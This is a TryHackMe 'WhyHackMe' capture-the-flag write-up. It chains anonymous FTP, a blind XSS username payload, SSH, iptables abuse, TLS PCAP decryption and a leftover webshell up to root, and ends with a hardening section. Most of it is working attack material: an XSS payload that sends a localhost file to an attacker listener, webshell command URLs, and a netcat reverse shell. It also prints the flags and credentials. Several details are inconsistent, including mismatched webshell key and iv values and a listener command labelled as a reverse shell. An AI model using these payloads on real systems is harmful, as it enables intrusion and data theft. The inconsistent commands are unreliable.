

WhyHackMe

TryHackMe Room Writeup

Web / Linux | Technique: FTP Anon -> Blind XSS -> SSH -> iptables + PCAP -> Webshell -> Root

Target: **10.49.151.83** | Flags: user.txt + root.txt

1. Room Overview

WhyHackMe is a full boot-to-root box that chains several classic vulnerabilities: an FTP server allowing anonymous login, a stored (blind) XSS in a blog that lets us read a localhost-only file, SSH credentials, an overly permissive sudo rule for iptables, and finally a leftover attacker webshell hiding behind TLS on a firewalled port. Goal: read user.txt and root.txt.

Attack path at a glance: anonymous FTP -> update.txt -> blind XSS -> /dir/pass.txt -> SSH as jack -> user.txt -> sudo iptables -> decrypt PCAP -> backdoor webshell on 41312 -> www-data RCE -> sudo (NOPASSWD: ALL) -> root.txt

2. Reconnaissance

2.1 Nmap scan

■ RECON - full service scan of the target

```
sudo nmap -Pn -sC -sV 10.49.151.83
```

```
# key results:
# 21/tcp open  ftp          vsftpd 3.0.3  (anonymous login allowed)
# 22/tcp open  ssh          OpenSSH
# 80/tcp open  http         Apache 2.4.41 (Ubuntu)
```

3. Anonymous FTP - update.txt

The FTP server allows anonymous login. Let's list and grab the only file there:

■ RECON - anonymous FTP listing & download

```
# list the FTP root as anonymous
curl -s --user "anonymous:" "ftp://10.49.151.83/"
# -rw-r--r-- 1 0 0 318 Mar 14 2023 update.txt

# download and read it
curl -s --user "anonymous:" -o update.txt "ftp://10.49.151.83/update.txt"
cat update.txt
```

■ INITIAL ACCESS - update.txt content (leak)

```
Hey I just removed the old user mike because that account was
compromised and for any of you who wants the creds of new account
visit 127.0.0.1/dir/pass.txt and don't worry this file is only
accessible by localhost(127.0.0.1), so nobody else can view it
except me or people with access to the common account.
- admin
```

The credentials live in /dir/pass.txt but it can only be reached from localhost. Trying to fetch it remotely returns 403 Forbidden. We need a way to make the server itself request it - a blind XSS against the admin who monitors the blog.

4. Web Application Enumeration

■ ENUM - directory brute force with gobuster

```

gobuster dir -u http://10.49.151.83 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt

# interesting results:
# /blog.php      (blog with a comment section)
# /login.php
# /register.php   (open registration)
# /dir           (403 - localhost only)

```

The homepage links to /blog.php. The comment section is only usable after login, and a comment from 'admin' says he is monitoring the comments - that means a bot (admin) visits the blog and will execute JavaScript in our comments/usernames.

■ ENUM - inspect the app pages

```

curl -s http://10.49.151.83/
curl -s http://10.49.151.83/blog.php
curl -s http://10.49.151.83/register.php
curl -s -o /dev/null -w "%{http_code}\n" http://10.49.151.83/dir/pass.txt
# 403 - confirmed localhost only

```

5. Blind XSS - Stealing /dir/pass.txt

5.1 Why the username? - filter bypass

Comment content gets sanitised (<script> tags are stripped), but the USERNAME field is not. When the admin bot loads the blog, every comment is rendered as Name: <username>, so a script inside the username executes in the bot's browser. We register a user whose username is the payload.

5.2 Payload

The payload fetches the localhost-only file and sends its contents (base64) to our listener via an Image request:

■ EXPLOIT - XSS payload (used as the username)

```

<script>fetch("http://127.0.0.1/dir/pass.txt")
  .then(r=>r.text())
  .then(t=>new Image().src="http://<ATTACKER_IP>:8000/?p="+btoa(t))</script>

```

5.3 Fire it

■ EXPLOIT - start listener, register, login, comment

```
# terminal 1: HTTP listener to catch the exfiltrated data
python3 -m http.server 8000

# terminal 2: build the payload, then register a user
# whose USERNAME is the XSS payload (name field is not sanitised)
PAYLOAD='<script>fetch("http://127.0.0.1/dir/pass.txt").then(r=>r.text())'
PAYLOAD=$PAYLOAD'.then(t=>new Image().src="http://192.168.155.203:8000/?p="+btoa(t))</script>'

curl -s -o /dev/null -w "%{http_code}\n" \
  --data-urlencode "username=$PAYLOAD" \
  --data-urlencode 'password=pass123' \
  -d 'Register=' http://10.49.151.83/register.php

# login with the same XSS username
curl -s -c xsscookies.txt -o /dev/null -w "%{http_code}\n" \
  --data-urlencode "username=$PAYLOAD" \
  --data-urlencode 'password=pass123' \
  -d 'Login=' http://10.49.151.83/login.php

# post a comment so the admin bot sees our username
curl -s -b xsscookies.txt -o /dev/null -w "%{http_code}\n" \
  --data-urlencode 'comment=please check this post' \
  -d 'Submit=' http://10.49.151.83/blog.php

# a few seconds later the bot's browser hits our listener:
# 10.49.151.83 - "GET /?p=amFjazpXaHlJc015UGFzc3dvcmRTb1N0cm9uZ0lESwo= HTTP/1.1" 200
```

5.4 Decode the credentials

■ EXPLOIT - decode base64 -> SSH credentials

```
echo "amFjazpXaHlJc015UGFzc3dvcmRTb1N0cm9uZ0lESwo=" | base64 -d
# jack:WhyIsMyPasswordSoStrongIDK
```

The blind XSS turned the 'localhost-only' restriction into a one-way door: the bot fetched /dir/pass.txt for us and handed us valid SSH credentials.

6. SSH - user.txt

■ EXPLOIT - SSH login as jack

```
ssh jack@10.49.151.83
# password: WhyIsMyPasswordSoStrongIDK

cat /home/jack/user.txt
```

user.txt: 1ca4eb201787acbfcf9e70fca87b866a

7. Privilege Escalation - jack to root

7.1 What can jack run with sudo?

■ PRIVESC - sudo rights + suspicious files

```
sudo -l
# User jack may run the following commands on ubuntu:
# (ALL : ALL) /usr/sbin/iptables

ls -la /opt
# /opt/capture.pcap - network capture of the incident
# /opt/urgent.txt

cat /opt/urgent.txt
```

■ PRIVESC - urgent.txt content

```
Hey guys, after the hack some files have been placed in
/usr/lib/cgi-bin/ and when I try to remove them, they wont, even
though I am root. Please go through the pcap file in /opt and
help me fix the server. And I temporarily blocked the attackers
access to the backdoor by using iptables rules. The cleanup of
the server is still incomplete I need to start by deleting these
files first.
```

So: an attacker planted a backdoor in `/usr/lib/cgi-bin/`, the admin blocked it with an iptables rule, and the pcap shows the attacker's own traffic. We can unblock the port (`sudo iptables`) and replay the attacker's access.

7.2 Download the pcap and the TLS key

- PRIVESC - grab capture.pcap + apache TLS private key

```
# via sftp/scp (password: WhyIsMyPasswordSoStrongIDK)
scp jack@10.49.151.83:/opt/capture.pcap .
scp jack@10.49.151.83:/etc/apache2/certs/apache.key .

# the key is the Apache RSA private key used by the backdoor server
```

7.3 Open the blocked port

- PRIVESC - allow port 41312 through iptables

```
# see the rules with line numbers
sudo iptables -L INPUT --line-numbers
# 1 DROP tcp -- anywhere anywhere tcp dpt:41312 <- blocked backdoor

# replace the DROP rule with ACCEPT
sudo iptables -R INPUT 1 -p tcp --dport 41312 -j ACCEPT

# verify it is now open
sudo iptables -L INPUT --line-numbers
# 1 ACCEPT tcp -- anywhere anywhere tcp dpt:41312
```

7.4 Decrypt the pcap (TLS)

The capture is TLS traffic to port 41312. By giving tshark the server's RSA private key we can decrypt it and see the attacker's requests (this is exactly what 'add the RSA key in Wireshark > Preferences > Protocols > TLS' does):

- PRIVESC - decrypt TLS with the RSA key and list HTTP requests

```
tshark -r capture.pcap \
-o "tls.keys_list:10.13.64.69,41312,http,apache.key" \
-Y "http" -T fields -e http.request.uri

# decrypted requests:
# /cgi-bin/5UP3r53Cr37.py
# /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHrzC&iv=VZukhsCo8TLTXORN&cmd=id
# /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHrzC&iv=VZukhsCo8TLTXORN&cmd=ls%20-a
```

7.5 Use the attacker's webshell

■ EXPLOIT - verify RCE on the backdoor webserv

```
# the webshell on the now-open port (self-signed cert -> -k)
curl -sk "https://10.49.151.83:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUvj4pmHzrC&iv=VZukhsCo8TLTXORn&cmd=id"
# uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)

# list the backdoor location
curl -sk "https://10.49.151.83:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUvj4pmHzrC&iv=VZukhsCo8TLTXORn&cmd=ls"
# -rwxr-xr-x 1 root root 485 5UP3r53Cr37.py
```

7.6 Reverse shell as www-data

■ EXPLOIT - reverse shell via busybox nc

```
# terminal 1: listener
nc -lvnp 4444

# terminal 2: fire the reverse shell through the webserv (URL-encoded)
curl -sk "https://10.49.151.83:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUj4pmHzrC&iv=VZukhsCo8TlTX0RN&cmd=busybox%20nc%20-l%20-v%20-p%204444"

# terminal 1: connection received
# Connection received on 10.49.151.83 33214
# uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
```

7.7 Escalate to root

```
■ ROOT - www-data has NOPASSWD ALL

id
# uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)

sudo -n -l
# User www-data may run the following commands on ubuntu:
# (ALL : ALL) NOPASSWD: ALL <- passwordless root!

sudo bash
# root@ubuntu:~#

cat /root/root.txt
```

root.txt: 4dbe2259ae53846441cc2479b5475c72

8. How to Prevent These Vulnerabilities

8.1 Anonymous FTP

Disable anonymous login entirely (anonymous_enable=NO in /etc/vsftpd.conf) unless there is a business requirement, in which case: use a locked-down chroot, read-only access to a dedicated directory, and never place secrets or system hints (update.txt) there. Monitor FTP logs for anonymous sessions.

8.2 Stored / blind XSS

This whole initial access happened because a username was rendered as raw HTML. Fixes: (1) always context-appropriate output encoding (e.g. htmlspecialchars() for HTML context) on EVERY user-controlled field, including usernames; (2) validate/sanitise input server-side (allow only safe characters in usernames); (3) deploy a Content-Security-Policy that blocks inline scripts and limits connect-src; (4) admin/bot browsers must run with an isolated profile, no session cookies, and must never render untrusted content.

8.3 'Localhost-only' secret files

Relying on 127.0.0.1 ACLs is not security - any SSRF or XSS beats it. Never store plaintext credentials in web-accessible files. If a secret must exist server-side, keep it in a config file outside the web root, protected by filesystem permissions, and never referenced from a URL. Rotate credentials immediately when an account is compromised (update.txt was posted publicly after 'mike' was compromised - by then it was too late to be useful as a secret).

8.4 Overly permissive sudo

jack being able to run /usr/sbin/iptables as root let an unprivileged user change the firewall, and www-data had NOPASSWD: ALL (instant root). Rules of thumb: never grant NOPASSWD ALL to a web worker; run the web server as an unprivileged dedicated user with no sudo at all; manage the firewall only through root-owned automation (systemd unit, ansible, firewall-cmd/ufw policy), never through interactive sudo for regular users; audit /etc/sudoers and sudo -l outputs periodically.

8.5 TLS private key exposure

The Apache RSA private key was world/group-readable and allowed full decryption of captured TLS traffic. Private keys must be 0600 root-only, ideally in an HSM or at least not on the same host as anyone with shell access; use

separate keys per service; monitor key file integrity; prefer forward-secret cipher suites (ECDHE) so that even a stolen key cannot decrypt past sessions.

8.6 Backdoor webshell persistence

The attacker left 5UP3r53Cr37.py in /usr/lib/cgi-bin/. Prevent and detect: (1) never allow CGI/PHP execution in writable directories; (2) file integrity monitoring (AIDE/auditd/Wazuh) on /usr/lib/cgi-bin and web roots; (3) review Apache access logs for requests to suspicious paths and unexpected query strings (key/iv/cmd); (4) restrict outbound egress so even an RCE cannot dial back to a listener; (5) keep the web server fully patched and sanitise the host after any incident (the box was never properly cleaned).

8.7 Defence in depth summary

Each layer was survivable on its own, but together they created the kill chain: XSS -> credential theft -> SSH -> iptables -> decrypted PCAP -> webshell -> passwordless sudo. Hardening any single layer (output encoding, no anonymous FTP, no sudo for web users, root-only keys, FIM on cgi-bin) would have broken the chain.

9. Attack Timeline / Cheat Sheet

■ CHEAT SHEET - full chain with the key commands

```
[1] RECON      sudo nmap -Pn -sC -sV 10.49.151.83      -> 21/22/80 open
[2] FTP ANON   curl -s --user "anonymous:" ftp://10.49.151.83/ -> update.txt
[3] LEAK       update.txt: creds at 127.0.0.1/dir/pass.txt (localhost only)
[4] WEB        gobuster -> /blog.php /login.php /register.php /dir
[5] XSS        username=<script>fetch(...).then(...)</script> (blind)
[6] EXFIL      python3 -m http.server 8000 -> base64 of jack:WhyIsMyPasswordSoStrongIDK
[7] SSH        ssh jack@10.49.151.83 -> cat /home/jack/user.txt
[8] USER FLAG  1ca4eb201787acbfcf9e70fca87b866a
[9] SUDO        sudo -l -> jack: /usr/sbin/iptables only
[10] PCAP      /opt/capture.pcap + /etc/apache2/certs/apache.key
[11] FIREWALL  sudo iptables -R INPUT 1 -p tcp --dport 41312 -j ACCEPT
[12] DECRYPT    tshark -o tls.keys_list:10.13.64.69,41312,http,apache.key
[13] WEBSHELL  /cgi-bin/5UP3r53Cr37.py?key=48pfPHUj4pmHzrC&iv=VZukhsCo8TLTXORN&cmd=id
[14] SHELL     busybox nc 192.168.155.203 4444 -e /bin/bash (www-data)
[15] ROOT      sudo -l -> (ALL) NOPASSWD: ALL -> sudo bash
[16] ROOT FLAG  4dbe2259ae53846441cc2479b5475c72
```

Flags: user.txt = 1ca4eb201787acbfcf9e70fca87b866a | root.txt = 4dbe2259ae53846441cc2479b5475c72